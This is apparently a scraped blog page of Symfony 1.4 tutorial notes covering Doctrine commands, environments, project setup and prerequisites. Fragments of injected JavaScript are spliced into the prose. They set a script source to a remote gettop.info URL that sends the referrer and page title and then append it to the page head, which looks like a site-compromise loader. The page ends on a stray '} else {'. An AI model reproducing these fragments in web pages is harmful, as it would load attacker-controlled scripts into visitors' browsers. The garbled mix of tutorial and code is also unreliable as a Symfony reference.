Symfony 1.x

Symfony is a PHP framework for web projects.

Basic Commands for Symfony Framework

Here i am sharing some basic commands for symfony framework those are commonly used when you will develop a project by symfony framework. Normally Symfony used two ORM those are docrine and Propel. These commands are for doctrine ORM.

Creates Application:
symfony generate:app [app_name]

Creates database for current model
symfony doctrine:build-db

Creates Model classes for current model
symfony doctrine:build-model

Creates Form classes for current model
symfony doctrine:build-form

Creates Filter classes for current model
symfony doctrine:build-filter

Create Module:
symfony generate:module [app_name] [module_name]

Create Module with Show:
symfony doctrine:generate-module –with-show [app_name] [module_name] [model_name]

Creates schema.yml from current database
symfony doctrine:build-schema

Creates sql for the current model
symfony doctrine:build-sql

Inserts sql for the current model
symfony doctrine:insert-sql}

Symfony1.4 Environments

If you have a look at the web/directory, you will find two PHP files: index.php and frontend_dev.php. These files are called front controllers; all requests to the application are made through them. But why do we have two front controllers for each application?

Both files point to the same application but for different environments. When you develop an application, except if you develop directly on the production server, you need several environments:

The development environment: This is the environment used by web developers when they work on the application to add new features, fix bugs, …

The test environment: This environment is used to automatically test the application.

The staging environment: This environment is used by the customer to test the application and report bugs or missing features.

The production environment: This is the environment end users interact with.

What makes an environment unique? In the development environment for instance, the application needs to log all the details of a request to ease debugging, but the cache system must be disabled as all changes made to the code must be taken into account right away. So, the development environment must be optimized for the developer. The best example is certainly when an exception occurs. To help the developer debug the issue faster, symfony displays the exception with all the information it has about the current request right into the browser:

Collected from: http://symfony.com s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Project Setup in Symfony 1.4

In symfony, applications sharing the same data model are regrouped into projects. For most projects, you will have two different applications: a frontend and a backend.

Suppose your local web directory is “htdocs”.
Now follow these steeps to setup your first symfony project.

1. Copy symfony folder in htdocs and rename as your project name. ex. myproject.

2. Now execute this command in command line
c:\> php htdocs\myproject\lib\vendor\symfony\data\bin\symfony generate:project myproject
The generate:project task generates the default structure of directories and files needed for a symfony project:
Directory Description
apps/            Hosts all project applications
cache/         The files cached by the framework
config/        The project configuration files
lib/          The project libraries and classes
log/            The framework log files
plugins/   The installed plugins
test/         The unit and functional test files
web/        The web root directory
The generate:project task has also created a symfony shortcut in the project root directory to shorten the number of characters you have to write when running a task.

So, from now on, instead of using the fully qualified path to the symfony program, you can use the symfony shortcut.

3. Now, create the frontend application by running the generate:app task
c:\> php htdocs\myproject symfony generate:app frontend
Based on the application name given as an argument, the generate:app task creates the default directory structure needed for the application under the apps/frontend/ directory:
Directory Description
config/                  The application configuration files
lib/                          The application libraries and classes
modules/             The application code (MVC)
templates/           The global template files
Your first project and application with symfony1.4 framework is now ready to run.

your application url will be like http://localhost/myproject/web/index.php
you can create virtual host for your application so that you don’t need to write this full url.d.getElementsByTagName(‘head’)[0].appendChild(s);

Prerequisites of Symfony1.4 Framework

Before installing symfony, you need to check that your computer has everything installed and configured correctly. Take the time to conscientiously read this day and follow all the steps required to check your configuration, as it may save your day further down the road.

Third-Party Software
First of all, you need to check that your computer has a friendly working environment for web development. At a minimum, you need a web server (Apache, for instance), a database engine (MySQL, PostgreSQL, SQLite, or any PDO-compatible database engine), and PHP 5.2.4 or later.

Command Line Interface
The symfony framework comes bundled with a command line tool that automates a lot of work for you. If you are a Unix-like OS user, you will feel right at home. If you run a Windows system, it will also work fine, but you will just have to type a few commands at the cmd prompt.

} else {